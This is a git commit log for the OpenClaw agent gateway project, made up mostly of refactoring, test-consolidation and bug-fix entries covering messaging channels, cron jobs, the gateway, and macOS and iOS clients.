Peter Steinberger
a881bd41eb refactor(outbound): dedupe plugin outbound context 2026-02-16 01:35:46 +00:00
Onur
cd44a0d01e fix: codex and similar processes keep dying on pty, solved by refactoring process spawning (#14257)
* exec: clean up PTY resources on timeout and exit

* cli: harden resume cleanup and watchdog stalled runs

* cli: productionize PTY and resume reliability paths

* docs: add PTY process supervision architecture plan

* docs: rewrite PTY supervision plan as pre-rewrite baseline

* docs: switch PTY supervision plan to one-go execution

* docs: add one-line root cause to PTY supervision plan

* docs: add OS contracts and test matrix to PTY supervision plan

* docs: define process-supervisor package placement and scope

* docs: tie supervisor plan to existing CI lanes

* docs: place PTY supervisor plan under src/process

* refactor(process): route exec and cli runs through supervisor

* docs(process): refresh PTY supervision plan

* wip

* fix(process): harden supervisor timeout and PTY termination

* fix(process): harden supervisor adapters env and wait handling

* ci: avoid failing formal conformance on comment permissions

* test(ui): fix cron request mock argument typing

* fix(ui): remove leftover conflict marker

* fix: supervise PTY processes (#14257) (openclaw#14257) (thanks @onutc)
2026-02-16 02:32:05 +01:00
Peter Steinberger
a73e7786e7 refactor(cron): share runnable job filter 2026-02-16 01:29:01 +00:00
Peter Steinberger
2679089e9e refactor(cron): dedupe next-run recompute loop 2026-02-16 01:27:40 +00:00
Peter Steinberger
c95a61aa9d refactor(cron): dedupe read-only load flow 2026-02-16 01:26:37 +00:00
Peter Steinberger
73a97ee255 refactor(gateway): share node invoke error handling 2026-02-16 01:25:06 +00:00
Peter Steinberger
b1dca644bc refactor(gateway): share restart request parsing 2026-02-16 01:21:54 +00:00
Peter Steinberger
b743e652c0 refactor(gateway): reuse shared validators + baseHash 2026-02-16 01:19:01 +00:00
Peter Steinberger
71cee673b2 fix(gateway): satisfy server-method lint 2026-02-16 01:15:31 +00:00
Peter Steinberger
dc5d234848 refactor(gateway): share server-method param validation 2026-02-16 01:13:52 +00:00
Peter Steinberger
a5cbd036de refactor(gateway): dedupe wizard param validation 2026-02-16 01:08:36 +00:00
Peter Steinberger
260a514467 refactor(slack): share channel config entry type 2026-02-16 01:06:18 +00:00
Peter Steinberger
067509fa44 refactor(onboarding): dedupe WhatsApp owner allowlist 2026-02-16 01:05:27 +00:00
Peter Steinberger
e84b20a527 refactor(status-issues): share enabled/configured account gate 2026-02-16 01:03:02 +00:00
Peter Steinberger
4aaafe5322 refactor(net): share hostname normalization 2026-02-16 01:01:22 +00:00
Peter Steinberger
d5ee766afe refactor(outbound): dedupe channel handler params 2026-02-16 00:59:42 +00:00
Peter Steinberger
00c91c3678 refactor(outbound): dedupe queued delivery param types 2026-02-16 00:57:28 +00:00
Peter Steinberger
4ab25a2889 refactor(outbound): reuse message gateway call 2026-02-16 00:56:28 +00:00
Advait Paliwal
14fb2c05b1 Gateway/Control UI: preserve partial output on abort (#15026)
* Gateway/Control UI: preserve partial output on abort

* fix: finalize abort partial handling and tests (#15026) (thanks @advaitpaliwal)

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-02-15 16:55:28 -08:00
Peter Steinberger
57d5a8df86 refactor(outbound): dedupe directory list call 2026-02-16 00:54:37 +00:00
Peter Steinberger
b6871d9c0f refactor(outbound): dedupe attachment hydration 2026-02-16 00:52:27 +00:00
Peter Steinberger
f03ea76db3 fix(slack): tighten threadId type to satisfy lint 2026-02-16 00:49:00 +00:00
Peter Steinberger
753491ab80 refactor(slack): dedupe outbound send flow 2026-02-16 00:48:32 +00:00
Peter Steinberger
d00adfe98c refactor(signal): dedupe outbound media limit resolve 2026-02-16 00:47:19 +00:00
Peter Steinberger
2b2c3a071b refactor(imessage): dedupe outbound media limit resolve 2026-02-16 00:46:18 +00:00
Peter Steinberger
f8fbeb52b0 refactor(protocol): dedupe cron/config schemas 2026-02-16 00:46:11 +00:00
Peter Steinberger
cb46ea037f refactor(models): dedupe set default model updates 2026-02-16 00:43:15 +00:00
Peter Steinberger
dece9e8b07 refactor(update): share package.json readers 2026-02-16 00:41:28 +00:00
Peter Steinberger
32221e194a refactor(probe): share withTimeout 2026-02-16 00:39:11 +00:00
Peter Steinberger
5ecc364d55 fix(daemon): drop unused formatGatewayServiceDescription import 2026-02-16 00:37:19 +00:00
Peter Steinberger
0dbc51aa55 refactor(daemon): share service description resolve 2026-02-16 00:36:43 +00:00
Peter Steinberger
58cf37ceeb refactor(memory): reuse batch utils in gemini 2026-02-16 00:34:10 +00:00
Peter Steinberger
652318e56a refactor(media): share http error handling 2026-02-16 00:32:16 +00:00
Peter Steinberger
d8691ff4ec refactor(memory): share sync progress helpers 2026-02-16 00:29:01 +00:00
Peter Steinberger
8251f7c235 refactor(memory): dedupe batch helpers 2026-02-16 00:26:03 +00:00
Peter Steinberger
ae1880acf6 refactor(frontmatter): share openclaw manifest parsing 2026-02-16 00:23:33 +00:00
Peter Steinberger
fddf8a6f4a perf(test): fold pi extensions runtime registry tests into agents suite 2026-02-16 00:22:36 +00:00
Peter Steinberger
412c1d0af1 perf(test): fold logger import side-effects test into diagnostic suite 2026-02-16 00:21:30 +00:00
Peter Steinberger
166cf6a3e0 fix(web_fetch): cap response body before parsing 2026-02-16 01:21:11 +01:00
Peter Steinberger
fd3d452f1f fix(ci): fix ui cron test mock signature 2026-02-16 00:19:34 +00:00
Peter Steinberger
fdd0e78d1b perf(test): fold exec approvals socket defaults into main suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
60ce38d216 perf(test): drop redundant line signature unit test 2026-02-16 00:18:27 +00:00
Peter Steinberger
acb2a1ce37 perf(test): fold discord voice hardening into web media suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
ba3a0e7adb perf(test): fold gateway server utils into misc suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
3a7b1b36b6 perf(test): consolidate shared utility suites 2026-02-16 00:18:27 +00:00
Peter Steinberger
3830a4b58e perf(test): fold acp session store assertions into mapper suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
6288c51774 perf(test): fold secret equality assertions into audit extra suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
a508c34731 perf(test): fold signal daemon log parsing into probe suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
5baa08ed13 perf(test): fold model-default assertions into command utils suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
55fd88e967 perf(test): consolidate utils parsing helpers 2026-02-16 00:18:27 +00:00
Peter Steinberger
725f63f724 perf(test): fold restart recovery helper into spawn utils suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
c82dc02b4d perf(test): fold tui command parsing into tui suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
2cf060f774 perf(test): consolidate media-understanding misc suites 2026-02-16 00:18:27 +00:00
Peter Steinberger
5529473af9 perf(test): fold browser server-context helper into utils suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
5e3b211d93 perf(test): fold gmail watcher assertions into hooks install suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
3fd40fc5a3 perf(test): fold media constants assertions into mime suite 2026-02-16 00:18:27 +00:00
Peter Steinberger
f934725ccd perf(test): consolidate channel misc suites 2026-02-16 00:18:27 +00:00
Peter Steinberger
5709b30700 perf(test): consolidate config misc suites 2026-02-16 00:18:27 +00:00
Peter Steinberger
2d5004cee4 perf(test): consolidate CLI utility tests 2026-02-16 00:18:27 +00:00
Peter Steinberger
1287abe0b5 perf(test): consolidate browser utility tests 2026-02-16 00:18:27 +00:00
Peter Steinberger
a91bcd2cf4 fix(test): avoid fake-timers hang in gateway lock 2026-02-16 00:18:27 +00:00
Peter Steinberger
67bfe8fb80 perf(test): cut gateway unit suite overhead 2026-02-16 00:18:26 +00:00
Peter Steinberger
be4a490c23 refactor(test): fix update-cli env restore 2026-02-16 00:16:57 +00:00
Peter Steinberger
e9ed5febc5 refactor(test): dedupe token exchange env cleanup 2026-02-16 00:16:00 +00:00
Peter Steinberger
72baa58edd refactor(test): fix copilot env restore 2026-02-16 00:15:20 +00:00
Peter Steinberger
76015aab23 refactor(test): dedupe copilot env restores 2026-02-16 00:14:48 +00:00
Advait Paliwal
115cfb4430 gateway: add cron finished-run webhook (#14535)
* gateway: add cron finished webhook delivery

* config: allow cron webhook in runtime schema

* cron: require notify flag for webhook posts

* ui/docs: add cron notify toggle and webhook docs

* fix: harden cron webhook auth and fill notify coverage (#14535) (thanks @advaitpaliwal)

---------

Co-authored-by: Tyler Yust <TYTYYUST@YAHOO.COM>
2026-02-15 16:14:17 -08:00
Peter Steinberger
ab000bc411 refactor(test): dedupe qianfan env restore 2026-02-16 00:13:01 +00:00
Peter Steinberger
e3a93d6705 refactor(test): dedupe safe-bins mocks 2026-02-16 00:12:23 +00:00
Peter Steinberger
7857096d29 refactor(test): reuse env snapshot in model scan 2026-02-16 00:08:35 +00:00
Peter Steinberger
cedd520f25 refactor(test): simplify state dir env helpers 2026-02-16 00:08:00 +00:00
cpojer
4bdb857eca chore: Use proper pnpm caching in one CI step. 2026-02-16 09:07:09 +09:00
Peter Steinberger
997b9ad232 refactor(test): dedupe provider api key env restore 2026-02-16 00:05:02 +00:00
Peter Steinberger
e075a33ca3 refactor(test): simplify oauth/profile env restore 2026-02-16 00:03:54 +00:00
cpojer
c07036e813 chore: Update deps. 2026-02-16 09:03:29 +09:00
Shakker
b562aa6625 fix(gateway): keep boot sessions ephemeral without remapping main 2026-02-16 00:03:21 +00:00
Shakker
fe73878dfc fix(gateway): preserve session mapping across gateway restarts 2026-02-16 00:03:21 +00:00
Peter Steinberger
ee2fa5f411 refactor(test): reuse env snapshots in unit suites 2026-02-16 00:02:32 +00:00
Peter Steinberger
07dea4c6cc refactor(test): dedupe auth choice env cleanup 2026-02-15 23:59:28 +00:00
Peter Steinberger
7bb0b7d1fc refactor(test): simplify config io env snapshot 2026-02-15 23:58:06 +00:00
Peter Steinberger
a90e007d50 refactor(test): reuse env snapshot in gateway ws harness 2026-02-15 23:56:57 +00:00
Peter Steinberger
94e84e6f75 refactor(test): clean up gateway tool env restore 2026-02-15 23:56:06 +00:00
Peter Steinberger
e9c8540e21 refactor(test): simplify model auth env restore 2026-02-15 23:55:11 +00:00
Peter Steinberger
961ca61b0e refactor(test): dedupe onboard auth env cleanup 2026-02-15 23:53:55 +00:00
Peter Steinberger
f809ff5e55 refactor(test): reuse env snapshot helper 2026-02-15 23:51:24 +00:00
Peter Steinberger
d27a763eec refactor(test): reuse env helper in temp home harness 2026-02-15 23:42:20 +00:00
Peter Steinberger
abd009b092 refactor(test): dedupe openresponses server setup 2026-02-15 23:34:52 +00:00
Peter Steinberger
f0e373b82e refactor(test): simplify state dir env restore 2026-02-15 23:34:02 +00:00
Peter Steinberger
35ab521e07 refactor(test): simplify voicewake env cleanup 2026-02-15 23:34:02 +00:00
Peter Steinberger
d8d9d3724f docs(agents): add GHSA patch/publish notes 2026-02-16 00:31:51 +01:00
Peter Steinberger
e3445f59c9 docs(changelog): note inter-session provenance security fix 2026-02-16 00:31:51 +01:00
Peter Steinberger
a68ed3f64c refactor(test): reuse env snapshots in gateway call tests 2026-02-15 23:22:58 +00:00
Peter Steinberger
31980bcaf1 refactor(test): dedupe gateway env restores 2026-02-15 23:18:16 +00:00
Peter Steinberger
70f86e326d refactor(test): reuse shared env snapshots 2026-02-15 23:15:07 +00:00
Peter Steinberger
bed0e07620 fix(cli): clear plugin manifest cache after install 2026-02-15 23:14:42 +00:00
Peter Steinberger
632b71c7f8 fix(test): avoid inheriting process.env in nix config e2e 2026-02-15 23:14:42 +00:00
Peter Steinberger
eef13235ad fix(test): make sessions_spawn e2e harness ordering stable 2026-02-15 23:14:42 +00:00
Peter Steinberger
89155aa6c6 fix(test): load sessions_spawn harness before tools 2026-02-15 23:14:42 +00:00
Peter Steinberger
bbcbabab74 fix(ci): repair e2e mocks and tool schemas 2026-02-15 23:14:42 +00:00
Peter Steinberger
0e2d8b8a1e perf(test): consolidate channel action suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
c5288300a1 perf(test): consolidate reply flow suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
a7f6c95675 perf(test): consolidate slack monitor suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
74294a4653 perf(test): consolidate web auto-reply suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
c59a472ca2 perf(test): consolidate memory tool e2e suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
722bfaa9c9 perf(test): consolidate reply plumbing/state suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
37086d0c3e perf(test): consolidate sessions tool e2e suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
a1c50b4ee3 perf(test): consolidate channel plugin suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
d75cd40787 perf(test): consolidate reply utility suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
34b088ede6 perf(test): consolidate infra outbound suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
36b5f0c9a8 perf(test): consolidate gateway server-methods suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
704c8ed530 perf(test): consolidate sessions config suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
2158b09b9d perf(test): consolidate discord monitor utils 2026-02-15 23:14:42 +00:00
Peter Steinberger
ed276d3e50 perf(test): consolidate inbound reply suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
53ec78319d perf(test): consolidate session suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
51709c63fe perf(test): consolidate model selection suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
f8925b7588 perf(test): consolidate reply commands suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
023091ded3 perf(test): consolidate slack tool-result suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
ce922915ab perf(test): consolidate telegram send suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
f749365b1c perf(test): consolidate telegram create bot suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
4fc72226fa perf(test): speed up slack slash suite 2026-02-15 23:14:42 +00:00
Peter Steinberger
def74465eb perf(test): consolidate runReplyAgent suites 2026-02-15 23:14:42 +00:00
Peter Steinberger
a91553c7cf perf(slack): consolidate slash tests 2026-02-15 23:14:42 +00:00
Peter Steinberger
65ea200c31 refactor(test): share env var helpers 2026-02-15 23:12:57 +00:00
Peter Steinberger
0b56472cf5 refactor(test): dedupe ios/android gateway client id tests 2026-02-15 23:07:50 +00:00
Peter Steinberger
8ba16a894f refactor(test): reuse withGatewayServer in auth/http suites 2026-02-15 23:06:34 +00:00
Peter Steinberger
99909f7bc7 refactor(test): share gateway server start helper 2026-02-15 23:02:27 +00:00
Peter Steinberger
1b455b6d9f refactor(test): dedupe gateway hooks server setup 2026-02-15 22:43:27 +00:00
Peter Steinberger
6b4590be06 fix(agents): stabilize sessions_spawn e2e suite 2026-02-15 22:40:28 +00:00
Tyler Yust
a948212ca7 fix(ui): show session labels in selector and standardize session key prefixes
- Display session labels in the session selector
- Cap selector width to 300px
- Standardize key prefixes and fallback names for subagent and cron job sessions

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-15 14:20:54 -08:00
Peter Steinberger
d491c789a3 refactor(test): share gateway ws e2e harness 2026-02-15 22:19:08 +00:00
Peter Steinberger
e58884925a refactor(test): reuse pi embedded subscribe session harness 2026-02-15 22:12:07 +00:00
Peter Steinberger
a1ff0e4767 refactor(test): dedupe sessions_spawn thinking assertions 2026-02-15 22:12:02 +00:00
Peter Steinberger
8e7b7a2b22 refactor(test): dedupe commands e2e wizard setup 2026-02-15 22:08:13 +00:00
Peter Steinberger
d9d93485d9 refactor(test): share tool hook handler ctx 2026-02-15 22:04:07 +00:00
Peter Steinberger
5fb4032fb6 refactor(test): share overflow compaction mocks 2026-02-15 22:02:09 +00:00
David Harmeyer
7c822d039b feat(plugins): expose llm input/output hook payloads (openclaw#16724) thanks @SecondThread
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: SecondThread <18317476+SecondThread@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 16:01:00 -06:00
Peter Steinberger
3c6cff5758 refactor(config): share agent sandbox schema 2026-02-15 21:57:23 +00:00
Peter Steinberger
511719424d refactor(test): dedupe terminal restore stubs 2026-02-15 21:55:56 +00:00
Peter Steinberger
8cd20e220f refactor(infra): share jsonl transcript reader 2026-02-15 21:53:12 +00:00
Peter Steinberger
c92bcf24c4 refactor(infra): dedupe device pairing token updates 2026-02-15 21:51:38 +00:00
Tak Hoffman
0c77851516 fix(agents): mark required-param tool errors as non-retryable (#17533)
* Agents: mark missing tool params as non-retryable

* Agents: include all missing required params in tool errors

* Agents: change required-param errors to retry guidance

* Docs: align changelog text for issue #14729 guidance wording
2026-02-15 15:50:44 -06:00
Peter Steinberger
50abdaf33b refactor(infra): dedupe openclaw root candidate scan 2026-02-15 21:48:46 +00:00
Peter Steinberger
012b674f31 refactor(infra): share isTailnetIPv4 helper 2026-02-15 21:47:51 +00:00
Peter Steinberger
c9bb6bd0d8 refactor(infra): extract json file + async lock helpers 2026-02-15 21:46:08 +00:00
Tyler Yust
ff4f59ec90 feat(image-tool): support multiple images in a single tool call (#17512)
* feat(image-tool): support multiple images in a single tool call

- Change 'image' parameter to accept string | string[] (Type.Union)
- Add 'maxImages' parameter (default 5) to cap abuse/token explosion
- Update buildImageContext to create multiple image content parts
- Normalize single string input to array for unified processing
- Keep full backward compatibility: single string works as before
- Update tool descriptions for both vision and non-vision models
- MiniMax VLM falls back to first image (single-image API)
- Details output adapts: 'image' key for single, 'images' for multi

* bump default max images from 5 to 20
2026-02-15 13:45:17 -08:00
Peter Steinberger
27deda2221 fix(test): drop unused gateway e2e PluginRegistry imports 2026-02-15 21:42:35 +00:00
Peter Steinberger
c3812a1ffb refactor(test): share gateway e2e registry helper 2026-02-15 21:41:18 +00:00
Peter Steinberger
84601bf96b fix(test): fix pi embedded subscribe harness typing 2026-02-15 21:34:15 +00:00
Peter Steinberger
aabe4d9b45 refactor(test): reuse env snapshot helper 2026-02-15 21:31:23 +00:00
Peter Steinberger
856e1a3187 refactor(test): share skills e2e helper 2026-02-15 21:29:15 +00:00
Peter Steinberger
5958454710 refactor(test): share auth profile order fixtures 2026-02-15 21:27:07 +00:00
Peter Steinberger
a02e5759cc refactor(test): dedupe pi embedded subscribe e2e harness 2026-02-15 21:18:53 +00:00
Vignesh Natarajan
059573a48d chore (changelog): attribute issues #17515 #17466 #17505 #17404 2026-02-15 13:12:10 -08:00
Vignesh Natarajan
150c5815eb fix (agents): honor configured contextWindow overrides 2026-02-15 13:12:10 -08:00
Vignesh Natarajan
69418cca20 fix (tui): preserve copy-sensitive token wrapping 2026-02-15 13:12:10 -08:00
Peter Steinberger
5c233f4ded fix(ui): drop unused vi in test helper 2026-02-15 21:09:59 +00:00
Peter Steinberger
c623c51cf4 refactor(ui): share app mount hooks 2026-02-15 21:09:32 +00:00
Peter Steinberger
2ac3e780e3 refactor(test): dedupe followup queue fixtures 2026-02-15 21:07:10 +00:00
Peter Steinberger
4920ca65db refactor(ui): dedupe usage session rows 2026-02-15 20:59:13 +00:00
Peter Steinberger
02ff9f43ea refactor(test): dedupe image tool e2e fixtures 2026-02-15 20:54:21 +00:00
Gustavo Madeira Santana
b4f14d6f7a Gateway: hide BOOTSTRAP in agent files after onboarding completes (#17491)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f95f6dd052
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-15 15:42:43 -05:00
Peter Steinberger
3cd786cc2d refactor(swift): share discovery status text 2026-02-15 20:40:47 +00:00
Peter Steinberger
778959b3dc refactor(ios): dedupe gateway helpers 2026-02-15 20:38:26 +00:00
Peter Steinberger
ef2c66a16b refactor(camera): centralize JPEG transcode cap 2026-02-15 20:33:14 +00:00
Peter Steinberger
b30ed6ca4c refactor(ios): share EventKit auth gating 2026-02-15 20:24:06 +00:00
Peter Steinberger
71009ab1b6 refactor(macos): share tailnet IPv4 detection 2026-02-15 20:22:40 +00:00
Peter Steinberger
c8779ef61d refactor(macos): share pairing alert plumbing 2026-02-15 20:19:55 +00:00
Peter Steinberger
218189318d refactor(swift): share primary IPv4 lookup 2026-02-15 20:17:43 +00:00
Peter Steinberger
f37b1c11e0 refactor(macos): centralize presence system info 2026-02-15 20:12:50 +00:00
Peter Steinberger
375e16170d refactor(macos): dedupe file watcher 2026-02-15 20:07:12 +00:00
Peter Steinberger
3a075f0292 fix(macos): drop duplicate AnyCodable helpers 2026-02-15 20:05:25 +00:00
Peter Steinberger
c75fe7e3cd fix(swift): make SwiftPM tests deterministic 2026-02-15 20:03:48 +00:00
Peter Steinberger
a3419e48ab refactor(swift): dedupe AnyCodable 2026-02-15 20:00:40 +00:00
Peter Steinberger
8ccbd00e1b chore: ignore OpenClawKit SwiftPM artifacts 2026-02-15 20:00:36 +00:00
Peter Steinberger
6c33bd9c67 ci: reduce node test OOM on linux 2026-02-15 19:41:39 +00:00
Peter Steinberger
75f33e92bf fix(web): disallow workspace-* roots without explicit localRoots 2026-02-15 19:40:27 +00:00
Peter Steinberger
59c0b2bb37 refactor(auth): reuse oauth auth result helper 2026-02-15 19:37:40 +00:00
Peter Steinberger
342e9cac03 refactor(status): reuse plugin-sdk status helpers 2026-02-15 19:37:40 +00:00
Peter Steinberger
bdfa2b490b refactor(media): reuse buildAgentMediaPayload 2026-02-15 19:37:40 +00:00
Peter Steinberger
00e63da336 refactor(webhooks): reuse plugin-sdk webhook path helpers 2026-02-15 19:37:40 +00:00
Peter Steinberger
80eb91d9e7 refactor(plugin-sdk): add shared helper utilities 2026-02-15 19:37:40 +00:00
Peter Steinberger
108f0ef8c4 fix(test): remove stale cleanup calls in cron regressions 2026-02-15 19:29:28 +00:00
Peter Steinberger
92f8c0fac3 perf(test): speed up suites and reduce fs churn 2026-02-15 19:29:27 +00:00
Peter Steinberger
8fdde0429e perf(auto-reply): avoid skill scans for inline directives 2026-02-15 19:29:27 +00:00
Peter Steinberger
38f430e133 perf(models): lazy-load heavy deps in models list 2026-02-15 19:29:27 +00:00
Peter Steinberger
5c5af2b14e perf(wizard): lazy-load onboarding deps 2026-02-15 19:29:27 +00:00
Peter Steinberger
c25026f2b3 perf(plugins): lazy-create jiti loader 2026-02-15 19:29:27 +00:00
Peter Steinberger
a6158873f5 refactor(imessage): split monitor inbound processing 2026-02-15 19:29:27 +00:00
Peter Steinberger
a8f3a579d4 perf(telegram): lazy import proxy + timeout deps in audit 2026-02-15 19:29:27 +00:00
Peter Steinberger
a4b958efcd perf(test): cover embedding chunk limits without indexing 2026-02-15 19:29:27 +00:00
Peter Steinberger
e3f4cabf49 perf(test): speed up update-cli unit tests 2026-02-15 19:29:27 +00:00
Peter Steinberger
a742d44133 perf(test): stub config + persistence in subagent registry tests 2026-02-15 19:29:27 +00:00
Peter Steinberger
b2088d2e1d perf(test): speed up process poll timeout tests 2026-02-15 19:29:27 +00:00
Peter Steinberger
88548784ce fix(bluebubbles): use Buffer for multipart body 2026-02-15 19:25:11 +00:00
Peter Steinberger
719280d737 refactor(bluebubbles): share multipart helpers 2026-02-15 19:24:03 +00:00
Peter Steinberger
de103773c7 refactor(tlon): share urbit poke/scry ops 2026-02-15 19:21:42 +00:00
Peter Steinberger
0653e8d2ec refactor(matrix): dedupe group config resolution 2026-02-15 19:21:37 +00:00
Peter Steinberger
699136f89a refactor(msteams): share credential prompt 2026-02-15 19:21:31 +00:00
Peter Steinberger
824901083b refactor(pi): dedupe compaction failure 2026-02-15 19:09:05 +00:00
Peter Steinberger
a2ceadcc2a refactor(gateway): dedupe assistant delta parsing 2026-02-15 19:08:47 +00:00
Peter Steinberger
5248b759fe refactor(shared): reuse isPidAlive 2026-02-15 19:06:54 +00:00
Xinhua Gu
c682634188 fix(discord): role-based allowlist never matches (Carbon Role objects stringify to mentions) (#16369)
* fix(discord): role-based allowlist never matches because Carbon Role objects stringify to mentions

Carbon's GuildMember.roles getter returns Role[] objects, not raw ID strings.
String(Role) produces '<@&123456>' which never matches the plain role IDs
in the guild allowlist config.

Use data.rawMember.roles (raw Discord API string array) instead of
data.member.roles (Carbon Role[] objects) for role ID extraction.

Fixes #16207

* Docs: add discord role allowlist changelog entry

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-15 13:05:46 -06:00
Peter Steinberger
c7b6d6a14e refactor(plugins): reuse createEmptyPluginRegistry 2026-02-15 19:05:00 +00:00
Peter Steinberger
99fda7b920 refactor(models): share fallback command logic 2026-02-15 19:00:27 +00:00
Peter Steinberger
6a4144f537 refactor(auto-reply): dedupe chunk early returns 2026-02-15 18:55:01 +00:00
Peter Steinberger
9a5e617a55 fix(discord): align message action send parameters 2026-02-15 18:53:24 +00:00
Peter Steinberger
6f2f88d3ad refactor(status): reuse Requirements types 2026-02-15 18:50:36 +00:00
Peter Steinberger
c118f6c688 fix(discord): fix component parsing and modal field typing 2026-02-15 18:50:36 +00:00
Shadow
f92900fc20 Revert "Discord: add preflight role allowlist regression test"
This reverts commit 41f546faa5.
2026-02-15 12:45:46 -06:00
Shadow
99caaef6cc Revert "Docs: add discord role allowlist changelog entry"
This reverts commit 8678b10aef.
2026-02-15 12:45:46 -06:00
Peter Steinberger
137079fc21 refactor(shared): share entry requirements evaluation 2026-02-15 12:45:46 -06:00
Peter Steinberger
a5b87338e5 refactor(onboard): reuse applyAgentDefaultModelPrimary 2026-02-15 18:35:09 +00:00
Shadow
8678b10aef Docs: add discord role allowlist changelog entry 2026-02-15 12:33:31 -06:00
Shadow
41f546faa5 Discord: add preflight role allowlist regression test 2026-02-15 12:33:31 -06:00
Peter Steinberger
95c986dee1 refactor(models): share model picker auth checker 2026-02-15 18:32:18 +00:00
Peter Steinberger
d9c891eb90 refactor(channels): share threading tool context 2026-02-15 18:30:34 +00:00
Peter Steinberger
b2d8b95906 refactor(models): dedupe MiniMax provider models 2026-02-15 18:28:25 +00:00
Peter Steinberger
a2c695126d refactor(browser): reuse CDP fetch helpers 2026-02-15 18:27:02 +00:00
Peter Steinberger
394e69a2f8 refactor(cli): share browser resize output helper 2026-02-15 18:25:47 +00:00
Peter Steinberger
7ef956d224 refactor(browser): share client-actions url helpers 2026-02-15 18:22:10 +00:00
Peter Steinberger
7773c5410b refactor(telegram): share allowFrom normalization 2026-02-15 18:17:05 +00:00
Peter Steinberger
dce3e4bd94 refactor(cli): dedupe hook enable/disable logic 2026-02-15 18:14:03 +00:00
Peter Steinberger
65f8b46c15 fix(ci): stabilize media and session store tests 2026-02-15 18:12:15 +00:00
Peter Steinberger
01ca3da8ee refactor(gateway): share tailscale prompt constants 2026-02-15 18:06:48 +00:00
Peter Steinberger
2e758d3691 refactor(gateway): share node event sessionKey parsing 2026-02-15 18:02:55 +00:00
Peter Steinberger
be9b5cefbd fix(ci): stabilize state-dir dependent tests 2026-02-15 17:57:13 +00:00
Peter Steinberger
813b96a804 refactor(commands): share cleanup plan resolver 2026-02-15 17:49:30 +00:00
Peter Steinberger
1f1e97674f refactor(allowlists): share user entry collection 2026-02-15 17:45:16 +00:00
Peter Steinberger
04f00f8ef2 refactor(commands): share default model applier 2026-02-15 17:41:14 +00:00
Peter Steinberger
9084c4e345 refactor(pi): share session manager runtime registry 2026-02-15 17:39:21 +00:00
Shadow
c6b3736fe7 fix: dedupe probe/token base types (#16986) (thanks @iyoda) 2026-02-15 11:36:54 -06:00
Peter Steinberger
a0e763168f refactor(exec-approvals): share socket default merge 2026-02-15 17:36:08 +00:00
Peter Steinberger
5c88d3c9f1 refactor(media): share fileExists 2026-02-15 17:33:08 +00:00
Shadow
b6069fc68c feat: support per-channel ackReaction config (#17092) (thanks @zerone0x) 2026-02-15 11:30:25 -06:00
Peter Steinberger
b3ef3fca75 refactor(cron): share legacy delivery helpers 2026-02-15 17:29:08 +00:00
Peter Steinberger
25be51967a refactor(channels): share allowlist resolution summary 2026-02-15 17:26:27 +00:00
Peter Steinberger
63ab5bfddc refactor(discord): share component route + ack 2026-02-15 17:23:56 +00:00
Peter Steinberger
b74c3d80cc refactor(shared): dedupe chat content text extraction 2026-02-15 17:21:36 +00:00
Peter Steinberger
ac3db098ab refactor(discord): share component allowlist check 2026-02-15 17:17:03 +00:00
Peter Steinberger
b2c42697dd refactor(discord): reuse preflight param types 2026-02-15 17:14:54 +00:00
Peter Steinberger
cbf6ee3a64 refactor(models): share primary/fallback merge 2026-02-15 17:13:09 +00:00
Peter Steinberger
3ce0e80f57 refactor(commands): dedupe cleanup path resolution 2026-02-15 17:09:12 +00:00
Peter Steinberger
da2fde7b6f refactor(slack): share room context hints 2026-02-15 17:06:17 +00:00
Peter Steinberger
ca4c2b33d7 refactor(auto-reply): share mode-switch events 2026-02-15 17:03:02 +00:00
Peter Steinberger
9f393a045c fix(line): restore bot-message-context types 2026-02-15 16:58:52 +00:00
Peter Steinberger
1ab5fcc325 refactor(line): share source info parsing 2026-02-15 16:57:58 +00:00
Peter Steinberger
c906121ad3 fix(line): build config schema from common base 2026-02-15 16:55:35 +00:00
Peter Steinberger
fabe4807a6 refactor(line): dedupe config schema 2026-02-15 16:55:01 +00:00
Peter Steinberger
6e36d956d6 refactor(config): share agent model schema 2026-02-15 16:53:38 +00:00
Peter Steinberger
9143f33a80 refactor(tools): dedupe alsoAllow merge 2026-02-15 16:52:14 +00:00
Sebastian
b567ba5dfc fix(sandbox): allow registry entries without agent scope 2026-02-15 11:50:16 -05:00
Sebastian
6277698f86 test(discord): fix updated test harness mocks 2026-02-15 11:50:16 -05:00
Sebastian
10feda100e refactor(reply-tests): share harness mock bundle 2026-02-15 11:50:16 -05:00
Sebastian
